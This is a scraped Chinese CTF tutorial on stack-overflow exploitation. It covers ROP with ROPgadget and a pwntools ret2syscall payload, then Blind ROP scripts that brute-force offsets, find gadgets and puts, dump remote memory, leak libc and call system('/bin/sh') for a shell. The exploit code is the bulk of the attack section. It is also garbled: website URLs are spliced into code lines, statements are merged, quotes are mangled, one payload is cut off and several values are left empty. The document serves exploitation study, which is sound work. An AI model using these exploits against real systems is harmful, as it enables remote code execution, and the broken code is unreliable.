pwn栈溢出2
ROP
返回导向编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全中的一种漏洞利用技术,该技术允许攻击者在程序启用了安全保护技术(如堆栈不可执行)的情况下控制程序执行流,执行恶意代码。其核心思想是通过栈溢出等方式控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(称为Gadgets)。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
栈帧变化
文章图片
普通ROP:
方法1:
? F5反汇编
文章图片
? checksec 查看信息
文章图片
? 计算padding
文章图片
? 查找gadgets
文章图片
文章图片
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
ROPgadget --binary ret2syscall --only 'int'
ROPgadget --binary ret2syscall --string '/bin/sh'
from pwn import *p = process('./ret2syscall')pop_edx = 0x0806eb90
binbash = 0x080be408
pop_eax = 0x080bb196
int_0x80 = 0x08049421payload = flat(['A' * 112, pop_edx, 0, 0, binbash, pop_eax, 0xb, int_0x80])p.sendline(payload)
p.interactive()
文章图片
方法2:
ROPgadget --binary ret2syscall --ropchain
文章图片
文章图片
from struct import pack
Padding goes here
p = b''p += pack(b'
文章图片
文章图片
BROP
利用条件
- 存在稳定触发的栈溢出漏洞。
- 进程崩溃后,会立即重启,且重启后的内存不会重新随机化。这样及时开启了ASLR也可以利用。
- 如果开启了PIE,则服务器必须是fork服务器,且不能使用execve。
- Stack Reading : 泄露返回地址和canaries。根据返回地址确定加载地址。一个字节一个字节爆破8字节canaries,每个字节有256中可能性。
- BROP:远程搜索gadgets,目标是将目标程序从内存写到socket,传回攻击者本地。
a. 通过syscall、call调用类似write、put等函数。 - Build EXP:利用gadgets构造的ROP,从内存中拿出来。就可以进行普通ROP攻击了。
#include
#include
#include int i;
int check();
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
puts("WelCome my friend,Do you know password?");
if(!check()) {
puts("Do not dump my memory");
} else {
puts("No password, no game");
}
}int check() {
char buf[50];
read(STDIN_FILENO, buf, 1024);
return strcmp(buf, "aslvkm;
asd;
alsfm;
aoeim;
wnv;
lasdnvdljasd;
flk");
}
出题人GitHub连接https://github.com/zh-explore...
- 爆破溢出长度。每次增加一个字符,如果正常返回说明没有溢出。如果刚好错误,说明已经溢出了。返回溢出值 - 1
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A" * i
buf_size = len(payload) - 1
try:
p = remote('192.168.190.129', 10001)
p.recvuntil("password?\n")
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
- 找到一个stop_gadget。这个目的是找到一个类似sleep的函数,程序执行到此会挂在这里。
文章图片
def get_stop_addr(buf_size):
addr = 0x400000
while 1:
addr += 1
payload = b’b’ * buf_size
payload += p64(addr)try:
p = get_io()
p.sendline(payload)
p.recv(timeout=1)
p.close()
log.info("stop addr:0x%x" % addr)
return addr
except EOFError as e:
# p.close()
log.info("stop bad 0x%x" % addr)
except:
p.close()
addr -= 1
- 找到一个通用的gadget。目的是操作rdi,通过寄存器rdi进行传值。
文章图片
而5f c3就是pop rdi; ret,所以pop_rdi = gadget_addr + 9
文章图片
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while 1:
# sleep(0.1)
addr += 1
payload = b’b’ * buf_size
payload += p64(addr)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
try:
io = get_io()
io.sendline(payload + p64(stop_addr))
io.recv(timeout=1)
io.close()
log.info("find address: 0x%x" % addr)
try:
io = get_io()
io.sendline(payload)
io.recv(timeout=1)
io.close()
log.info("bad address 0x%x" % addr)
except:
io.close()
log.info("gadget address:0x%x" % addr)
return addr
except EOFError as e:
io.close()
log.info("bad: 0x%x" % addr)
except:
log.info("can't connect")
addr -= 1
此时堆栈情况
文章图片
- 找到程序中的puts、write函数。目的是通过这个函数打印程序内存数据、函数地址等。
利用Windows可执行文件 45 5a linux \7fELF方式进行判断是否是真正的put地址。
def get_puts_call_addr(buf_size, stop_addr, gadget_addr):
addr = stop_addr
pop_rdi = gadget_addr + 9
# addr = 0x401190
while 1:
sleep(0.1)
addr += 1
payload = b’b’ * buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)try:
io = get_io()
io.sendline(payload)
# print(str(io.recv()))
elf = io.recv()
if elf.startswith(b"\x7fELF"):
print(elf)
log.info("puts call address: 0x%x" % addr)
io.close()
return addr
log.info("puts bad 0x%x" % addr)
io.close()
except EOFError as e:
io.close()
log.info("puts bad 0x%x" % addr)
except:
log.info("can't connect")
addr -= 1
此时堆栈分析
pdi = 0x400000 == puts(0x400000)
文章图片
- dump程序内存,和第四步一样,只是这里确定了函数地址,变化参数值而已。目的是打印函数内存,找到put_got的值
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9# pop rdi;
retresult = b""
while start_addr < end_addr:
# print result.encode('hex')
# sleep(0.1)
payload = b"A" * buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = get_io()
p.sendline(payload)
data = https://www.it610.com/article/p.recv(timeout=0.1)# timeout makes sure to recive all bytes
if data =="\n":
data = "https://www.it610.com/x00"
elif data[-1] == "\n":
data = https://www.it610.com/article/data[:-1]
# log.info("leaking: 0x%x --> %s" % (start_addr, (data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
print("%d" % (end_addr - start_addr))
except:
# pass
log.info("Can't connect")
return result
- 分析dump的内存
文章图片
文章图片
文章图片
- 根据got地址找到函数地址
def get_puts_addr(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
payload = b"A" * buf_size
payload += p64(gadget_addr + 9)
payload += p64(puts_got)
payload += p64(puts_call_addr)
payload += p64(stop_addr)data = https://www.it610.com/article/b''p = get_io()
p.sendline(payload)
data = https://www.it610.com/article/p.recvline()
data = u64(data[:-1] + b'\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
puts(puts_got)
文章图片
- 利用ret2libc中学习的基地址绑定关系,得到system和/bin/sh地址
def leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
global system_addr, binsh_addrputs_addr = get_puts_addr(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)# 利用libcsearch
# libcSearch = LibcSearcher('puts', puts_addr)
# libc_base = puts_addr - libcSearch.dump('puts')
#
# system_addr = libc_base + libcSearch.dump('system')
# binsh_addr = libc_base + libcSearch.dump('str_bin_sh')
#
# log.info("system 0x%x" % system_addr)
# log.info("system 0x%x" % binsh_addr)
## 利用libc.so
libc = ELF('./ubuntu_libc.so.6')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
# binsh_addr = puts_addr - libc.sym['puts'] + 0x186C6C
print(hex(libc.sym['system']))
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.info("system 0x%x" % system_addr)
log.info("binsh 0x%x" % binsh_addr)
- 执行system
def pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
payload = b’b’ * buf_size
payload += p64(gadget_addr + 9)
payload += p64(binsh_addr)
payload += p64(system_addr)io = get_io()
io.sendline(payload)
io.interactive()
rdi = /bin/sh
system("/bin/sh")
文章图片
- 执行
if __name__ == "__main__":
# buf_size = get_buffer_size()
buf_size =
# stop_addr = get_stop_addr(buf_size)
stop_addr =
# gadget_addr = get_gadgets_addr(buf_size, stop_addr)
gadget_addr =
# puts_call_addr = get_puts_call_addr(buf_size, stop_addr, gadget_addr)
# puts_call_addr =
puts_call_addr = #
# data_bin = dump_memory(72,stop_addr,gadget_addr,puts_call_addr,0x400000,0x402000)
# with open('data.bin','wb') as f:
#f.write(data_bin)
#f.close()# puts_got =
puts_got =
leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
推荐阅读
- 程序员客栈TOP收入的萌系开发者心得|程序员客栈TOP收入的萌系开发者心得 - 雨晴
- C语言进阶栈帧示例详解教程
- c语言|一文搞懂栈(stack)、堆(heap)、单片机裸机内存管理malloc
- Java内存溢出及解决
- Java深入了解数据结构之栈与队列的详解
- Java积累|Java积累 - 堆和栈
- 浅析栈溢出遇到的坑及绕过技巧
- 浅谈内存泄漏和内存溢出
- 矩阵堆栈操作
- js|js Arrary